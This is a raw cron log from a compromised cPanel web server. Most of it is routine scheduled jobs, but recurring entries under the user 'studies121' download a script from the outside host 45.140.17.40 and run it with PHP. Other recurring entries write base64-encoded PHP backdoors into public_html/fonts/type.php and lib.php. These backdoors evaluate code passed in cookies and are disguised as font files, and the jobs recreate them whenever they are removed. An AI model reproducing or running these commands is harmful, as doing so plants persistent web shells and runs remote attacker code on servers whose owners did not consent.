Sep 12 21:25:01 ip-184-168-122-23 CROND[27616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:26:01 ip-184-168-122-23 CROND[27707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:26:01 ip-184-168-122-23 CROND[27709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:26:01 ip-184-168-122-23 CROND[27711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:26:01 ip-184-168-122-23 CROND[27710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:26:01 ip-184-168-122-23 CROND[27712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:27:01 ip-184-168-122-23 CROND[27800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:27:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:27:01 ip-184-168-122-23 CROND[27802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:27:01 ip-184-168-122-23 CROND[27804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:28:01 ip-184-168-122-23 CROND[27908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:28:01 ip-184-168-122-23 CROND[27910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:28:01 ip-184-168-122-23 CROND[27912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:28:01 ip-184-168-122-23 CROND[27913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:28:01 ip-184-168-122-23 CROND[27911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:29:01 ip-184-168-122-23 CROND[28008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:29:01 ip-184-168-122-23 CROND[28010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:29:01 ip-184-168-122-23 CROND[28012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:29:01 ip-184-168-122-23 CROND[28013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:30:01 ip-184-168-122-23 CROND[28182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:30:01 ip-184-168-122-23 CROND[28181]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:30:01 ip-184-168-122-23 CROND[28187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:30:01 ip-184-168-122-23 CROND[28186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:30:01 ip-184-168-122-23 CROND[28189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:30:01 ip-184-168-122-23 CROND[28191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:30:01 ip-184-168-122-23 CROND[28192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:30:01 ip-184-168-122-23 CROND[28193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:31:01 ip-184-168-122-23 CROND[28298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:31:01 ip-184-168-122-23 CROND[28300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:31:01 ip-184-168-122-23 CROND[28301]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:31:01 ip-184-168-122-23 CROND[28302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:31:01 ip-184-168-122-23 CROND[28303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:32:01 ip-184-168-122-23 CROND[28392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:32:01 ip-184-168-122-23 CROND[28395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:32:01 ip-184-168-122-23 CROND[28394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:32:01 ip-184-168-122-23 CROND[28393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:32:01 ip-184-168-122-23 CROND[28396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:33:01 ip-184-168-122-23 CROND[28503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:33:01 ip-184-168-122-23 CROND[28507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:33:01 ip-184-168-122-23 CROND[28505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:33:01 ip-184-168-122-23 CROND[28506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:34:01 ip-184-168-122-23 CROND[28588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:34:01 ip-184-168-122-23 CROND[28590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:34:01 ip-184-168-122-23 CROND[28591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:34:01 ip-184-168-122-23 CROND[28593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:34:01 ip-184-168-122-23 CROND[28592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28707]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:35:02 ip-184-168-122-23 CROND[28705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:35:02 ip-184-168-122-23 CROND[28706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:36:01 ip-184-168-122-23 CROND[28908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:36:01 ip-184-168-122-23 CROND[28907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:36:01 ip-184-168-122-23 CROND[28910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:36:01 ip-184-168-122-23 CROND[28914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:36:01 ip-184-168-122-23 CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:37:01 ip-184-168-122-23 CROND[29008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:37:01 ip-184-168-122-23 CROND[29009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:37:01 ip-184-168-122-23 CROND[29012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:37:01 ip-184-168-122-23 CROND[29011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:38:01 ip-184-168-122-23 CROND[29094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:38:01 ip-184-168-122-23 CROND[29096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
